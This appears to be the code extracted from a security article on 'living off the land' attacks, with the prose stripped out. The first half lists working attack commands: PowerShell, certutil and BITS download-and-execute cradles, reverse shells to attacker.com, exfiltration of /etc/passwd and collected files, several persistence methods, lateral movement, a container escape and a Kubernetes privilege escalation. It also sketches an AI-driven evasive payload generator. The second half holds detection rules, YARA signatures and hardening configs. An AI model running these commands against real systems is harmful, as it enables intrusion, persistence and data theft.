# Traditional Malware Approach
# 1. Deploy custom executable
wget http://malicious-site.com/malware.exe
chmod +x malware.exe
./malware.exe

# Living Off The Land Approach
# 2. Use legitimate system tools
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"

# Example: Stealthy data exfiltration using PowerShell
# This is for educational and defensive purposes only

# Encode and execute commands to avoid detection
$EncodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("Get-Process | Out-String"))
powershell.exe -EncodedCommand $EncodedCommand

# Download and execute scripts from memory
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

# Use alternate data streams for persistence
echo "malicious_payload" > legitimate_file.txt:hidden_stream
powershell.exe -Command "Get-Content legitimate_file.txt:hidden_stream"

# Registry-based persistence
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SecurityUpdate" -Value "powershell.exe -WindowStyle Hidden -File C:\temp\update.ps1"

# WMI for lateral movement and persistence
# Create WMI event subscription for persistence
$FilterArgs = @{name='MaliciousFilter'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"}
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

# WMI for remote command execution
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName "target-host"

# WMI for information gathering
Get-WmiObject -Class Win32_ComputerSystem
Get-WmiObject -Class Win32_UserAccount

# Download files using certutil
certutil.exe -urlcache -split -f "http://attacker.com/payload.exe" payload.exe

# Decode base64 encoded payloads
certutil.exe -decode encoded_payload.txt decoded_payload.exe

# Alternative download method
certutil.exe -verifyctl -split -f "http://attacker.com/malicious.exe"

# Stealthy file downloads using BITS
Start-BitsTransfer -Source "http://attacker.com/payload.exe" -Destination "C:\temp\legitimate_update.exe"

# Persistent BITS job for ongoing access
$Job = Start-BitsTransfer -Source "http://attacker.com/backdoor.exe" -Destination "C:\temp\system_update.exe" -Asynchronous
Add-BitsFile -BitsJob $Job -Source "http://attacker.com/config.txt" -Destination "C:\temp\config.txt"

# Stealthy reverse shell using legitimate tools
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Data exfiltration using curl
curl -X POST -d @/etc/passwd http://attacker.com/exfil

# Persistence through cron jobs
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" | crontab -

# Using legitimate system binaries for reconnaissance
ps aux | grep -v grep | grep -E "(ssh|ftp|telnet)"
netstat -tulpn | grep LISTEN
find / -perm -4000 2>/dev/null

# Python-based LotL techniques
import subprocess
import base64
import urllib.request

# Execute encoded commands
encoded_cmd = base64.b64encode(b"whoami").decode()
subprocess.run(['python3', '-c', f'import base64; import subprocess; subprocess.run(base64.b64decode("{encoded_cmd}").decode(), shell=True)'])

# Download and execute from memory
response = urllib.request.urlopen('http://attacker.com/script.py')
exec(response.read())

# Fileless persistence using systemd
systemd_service = """
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 -c "import urllib.request; exec(urllib.request.urlopen('http://attacker.com/backdoor.py').read())"
Restart=always

[Install]
WantedBy=multi-user.target
"""

# Spear phishing with PowerShell payload
# Embedded in macro-enabled document
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX $client.DownloadString('http://attacker.com/stage1.ps1')}"

# Domain enumeration using built-in tools
nltest /domain_trusts
net group "Domain Admins" /domain
dsquery computer -limit 0
wmic computersystem get domain

# Network discovery
for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is alive

# WMI-based lateral movement
$Credential = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -EncodedCommand $EncodedPayload" -ComputerName "target-server" -Credential $Credential

# PSExec-like functionality using WMI
wmic /node:"target-host" /user:"domain\admin" /password:"password" process call create "cmd.exe /c powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/lateral.ps1')"

# Collect sensitive files using PowerShell
Get-ChildItem -Path "C:\Users" -Recurse -Include "*.docx","*.xlsx","*.pdf" -ErrorAction SilentlyContinue | 
Where-Object {$_.Length -lt 10MB} | 
ForEach-Object {
    $DestPath = "C:\temp\collected\" + $_.Name
    Copy-Item $_.FullName $DestPath
}

# Compress and encode data
Compress-Archive -Path "C:\temp\collected\*" -DestinationPath "C:\temp\backup.zip"
$EncodedData = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\temp\backup.zip"))

# DNS exfiltration using nslookup
$Data = "sensitive_data_chunk"
$EncodedChunk = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($Data))
nslookup $EncodedChunk.attacker-dns.com

# HTTPS exfiltration using legitimate tools
Invoke-WebRequest -Uri "https://attacker.com/upload" -Method POST -Body $EncodedData -ContentType "application/octet-stream"

# Windows Event Log Configuration for PowerShell Monitoring
powershell_logging:
  module_logging: enabled
  script_block_logging: enabled
  transcription: enabled
  
  suspicious_indicators:
    - encoded_commands: true
    - download_strings: true
    - invoke_expression: true
    - bypass_execution_policy: true
    
  monitoring_events:
    - event_id: 4103  # Module Logging
    - event_id: 4104  # Script Block Logging
    - event_id: 4105  # Script Block Logging Start
    - event_id: 4106  # Script Block Logging Stop

{
  "detection_rules": {
    "suspicious_powershell": {
      "condition": "process_name == 'powershell.exe' AND (command_line CONTAINS '-EncodedCommand' OR command_line CONTAINS 'DownloadString' OR command_line CONTAINS 'IEX')",
      "severity": "high",
      "action": "alert_and_block"
    },
    "certutil_abuse": {
      "condition": "process_name == 'certutil.exe' AND (command_line CONTAINS '-urlcache' OR command_line CONTAINS '-decode')",
      "severity": "medium",
      "action": "alert"
    },
    "wmi_lateral_movement": {
      "condition": "process_name == 'wmic.exe' AND command_line CONTAINS 'process call create'",
      "severity": "high",
      "action": "alert_and_investigate"
    }
  }
}

# Behavioral analysis for LotL detection
import pandas as pd
from sklearn.ensemble import IsolationForest
from sklearn.preprocessing import StandardScaler

class LotLDetector:
    def __init__(self):
        self.model = IsolationForest(contamination=0.1, random_state=42)
        self.scaler = StandardScaler()
        
    def extract_features(self, process_data):
        """Extract behavioral features from process execution data"""
        features = {
            'command_length': len(process_data['command_line']),
            'encoded_content': 1 if 'base64' in process_data['command_line'].lower() else 0,
            'network_activity': process_data['network_connections'],
            'file_operations': process_data['file_writes'] + process_data['file_reads'],
            'registry_operations': process_data['registry_modifications'],
            'parent_process_suspicious': self.is_suspicious_parent(process_data['parent_process']),
            'execution_time': process_data['execution_duration'],
            'memory_usage': process_data['peak_memory_usage']
        }
        return features
    
    def detect_anomaly(self, process_features):
        """Detect anomalous behavior indicating potential LotL attack"""
        feature_vector = self.scaler.transform([list(process_features.values())])
        anomaly_score = self.model.decision_function(feature_vector)[0]
        is_anomaly = self.model.predict(feature_vector)[0] == -1
        
        return {
            'is_suspicious': is_anomaly,
            'anomaly_score': anomaly_score,
            'risk_level': self.calculate_risk_level(anomaly_score)
        }
    
    def calculate_risk_level(self, score):
        """Calculate risk level based on anomaly score"""
        if score < -0.5:
            return 'HIGH'
        elif score < -0.2:
            return 'MEDIUM'
        else:
            return 'LOW'

edr_configuration:
  process_monitoring:
    - monitor_command_line: true
    - monitor_network_connections: true
    - monitor_file_operations: true
    - monitor_registry_changes: true
    
  behavioral_analysis:
    - detect_process_injection: true
    - detect_hollow_processes: true
    - detect_suspicious_parent_child: true
    - detect_living_off_land: true
    
  response_actions:
    - isolate_endpoint: true
    - kill_suspicious_processes: true
    - collect_forensic_artifacts: true
    - notify_security_team: true

# Custom YARA rules for LotL detection
yara_rules = """
rule Suspicious_PowerShell_LotL {
    meta:
        description = "Detects suspicious PowerShell usage indicative of LotL attacks"
        author = "CyberSignal Security Team"
        date = "2024-12-26"
        
    strings:
        $encoded_cmd = "-EncodedCommand" nocase
        $download_string = "DownloadString" nocase
        $invoke_expression = "IEX" nocase
        $bypass_policy = "-ExecutionPolicy Bypass" nocase
        $hidden_window = "-WindowStyle Hidden" nocase
        $web_client = "System.Net.WebClient" nocase
        
    condition:
        2 of them
}

rule Certutil_Abuse_LotL {
    meta:
        description = "Detects abuse of certutil for LotL attacks"
        
    strings:
        $certutil = "certutil.exe" nocase
        $urlcache = "-urlcache" nocase
        $split = "-split" nocase
        $decode = "-decode" nocase
        $verifyctl = "-verifyctl" nocase
        
    condition:
        $certutil and any of ($urlcache, $split, $decode, $verifyctl)
}
"""

# Enable PowerShell Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

# Group Policy configuration for PowerShell restrictions
# Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on PowerShell Transcription: Enabled
# Turn on Module Logging: Enabled

<!-- AppLocker policy to restrict PowerShell usage -->
<AppLockerPolicy Version="1">
  <RuleCollection Type="Exe" EnforcementMode="Enabled">
    <FilePathRule Id="PowerShell_Restriction" Name="Block PowerShell for Standard Users" Description="Prevents standard users from executing PowerShell" UserOrGroupSid="S-1-5-32-545" Action="Deny">
      <Conditions>
        <FilePathCondition Path="%SYSTEM32%\WindowsPowerShell\v1.0\powershell.exe"/>
        <FilePathCondition Path="%SYSTEM32%\WindowsPowerShell\v1.0\powershell_ise.exe"/>
      </Conditions>
    </FilePathRule>
  </RuleCollection>
</AppLockerPolicy>

network_segmentation:
  zones:
    - name: "user_workstations"
      allowed_outbound:
        - "web_proxy:8080"
        - "domain_controllers:389,636"
        - "file_servers:445"
      blocked_outbound:
        - "internet:*"
        - "server_networks:*"
        
    - name: "server_network"
      allowed_inbound:
        - "user_workstations:specific_ports"
        - "admin_network:22,3389"
      blocked_inbound:
        - "internet:*"
        
  monitoring:
    - log_all_connections: true
    - detect_lateral_movement: true
    - alert_on_policy_violations: true

# JIT privilege elevation script
function Request-JITAccess {
    param(
        [string]$TargetSystem,
        [string]$Justification,
        [int]$DurationMinutes = 60
    )
    
    # Validate request
    $RequestId = New-Guid
    $ExpirationTime = (Get-Date).AddMinutes($DurationMinutes)
    
    # Log access request
    Write-EventLog -LogName "Security" -Source "JIT-Access" -EventId 1001 -Message "JIT access requested for $TargetSystem by $env:USERNAME. Justification: $Justification"
    
    # Grant temporary access
    Add-LocalGroupMember -Group "Administrators" -Member $env:USERNAME
    
    # Schedule access removal
    $RemovalJob = Register-ScheduledJob -Name "RemoveJITAccess_$RequestId" -ScriptBlock {
        Remove-LocalGroupMember -Group "Administrators" -Member $using:env:USERNAME
        Write-EventLog -LogName "Security" -Source "JIT-Access" -EventId 1002 -Message "JIT access removed for $using:env:USERNAME"
    } -Trigger (New-JobTrigger -At $ExpirationTime -Once)
    
    return @{
        RequestId = $RequestId
        ExpirationTime = $ExpirationTime
        Status = "Granted"
    }
}

# Automated incident response for LotL attacks
class LotLIncidentResponse:
    def __init__(self):
        self.severity_levels = {
            'LOW': 1,
            'MEDIUM': 2,
            'HIGH': 3,
            'CRITICAL': 4
        }
    
    def respond_to_lotl_detection(self, alert_data):
        """Automated response to LotL attack detection"""
        severity = self.assess_severity(alert_data)
        
        response_actions = {
            'LOW': [self.log_incident, self.notify_analyst],
            'MEDIUM': [self.log_incident, self.notify_analyst, self.collect_artifacts],
            'HIGH': [self.log_incident, self.notify_analyst, self.collect_artifacts, self.isolate_endpoint],
            'CRITICAL': [self.log_incident, self.notify_analyst, self.collect_artifacts, self.isolate_endpoint, self.escalate_to_management]
        }
        
        for action in response_actions[severity]:
            action(alert_data)
    
    def collect_artifacts(self, alert_data):
        """Collect forensic artifacts for analysis"""
        artifacts = {
            'process_memory_dump': self.dump_process_memory(alert_data['process_id']),
            'command_history': self.get_command_history(alert_data['user']),
            'network_connections': self.get_network_connections(alert_data['process_id']),
            'file_operations': self.get_file_operations(alert_data['process_id']),
            'registry_changes': self.get_registry_changes(alert_data['timeframe'])
        }
        
        return artifacts
    
    def isolate_endpoint(self, alert_data):
        """Isolate compromised endpoint from network"""
        endpoint_id = alert_data['endpoint_id']
        
        # Block network access except for management
        isolation_policy = {
            'endpoint_id': endpoint_id,
            'allowed_connections': ['management_server:443'],
            'blocked_connections': ['*'],
            'isolation_reason': 'LotL attack detected',
            'timestamp': datetime.now()
        }
        
        self.apply_isolation_policy(isolation_policy)

# Memory forensics for LotL attack investigation
import volatility3.framework.automagic as automagic
from volatility3.framework import contexts, plugins

class LotLMemoryAnalyzer:
    def __init__(self, memory_dump_path):
        self.memory_dump = memory_dump_path
        self.context = contexts.Context()
        
    def analyze_powershell_artifacts(self):
        """Analyze PowerShell artifacts in memory"""
        # Extract PowerShell command history
        powershell_history = self.extract_powershell_history()
        
        # Identify encoded commands
        encoded_commands = self.find_encoded_commands(powershell_history)
        
        # Analyze script blocks
        script_blocks = self.extract_script_blocks()
        
        return {
            'command_history': powershell_history,
            'encoded_commands': encoded_commands,
            'script_blocks': script_blocks
        }
    
    def extract_network_artifacts(self):
        """Extract network-related artifacts"""
        network_connections = self.get_network_connections()
        dns_queries = self.extract_dns_queries()
        
        # Identify suspicious connections
        suspicious_connections = []
        for conn in network_connections:
            if self.is_suspicious_connection(conn):
                suspicious_connections.append(conn)
        
        return {
            'all_connections': network_connections,
            'suspicious_connections': suspicious_connections,
            'dns_queries': dns_queries
        }

# Conceptual AI-enhanced LotL attack framework
class AIEnhancedLotL:
    def __init__(self):
        self.evasion_model = self.load_evasion_model()
        self.target_profiler = self.load_target_profiler()
    
    def generate_evasive_payload(self, target_environment):
        """Generate payload optimized for specific environment"""
        environment_profile = self.target_profiler.analyze(target_environment)
        
        # Select optimal LotL tools based on environment
        available_tools = environment_profile['installed_tools']
        security_controls = environment_profile['security_controls']
        
        # Generate evasive command sequence
        payload = self.evasion_model.generate_payload(
            tools=available_tools,
            constraints=security_controls,
            objective='establish_persistence'
        )
        
        return payload
    
    def adaptive_execution(self, payload, feedback):
        """Adapt execution based on detection feedback"""
        if feedback['detected']:
            # Modify approach based on detection method
            alternative_payload = self.evasion_model.generate_alternative(
                original_payload=payload,
                detection_method=feedback['detection_method']
            )
            return alternative_payload
        
        return payload

# Container escape using legitimate tools
docker run --rm -it --pid=host --net=host --privileged -v /:/host alpine chroot /host bash

# Kubernetes privilege escalation
kubectl auth can-i --list --as=system:serviceaccount:default:default
kubectl create clusterrolebinding test --clusterrole=cluster-admin --serviceaccount=default:default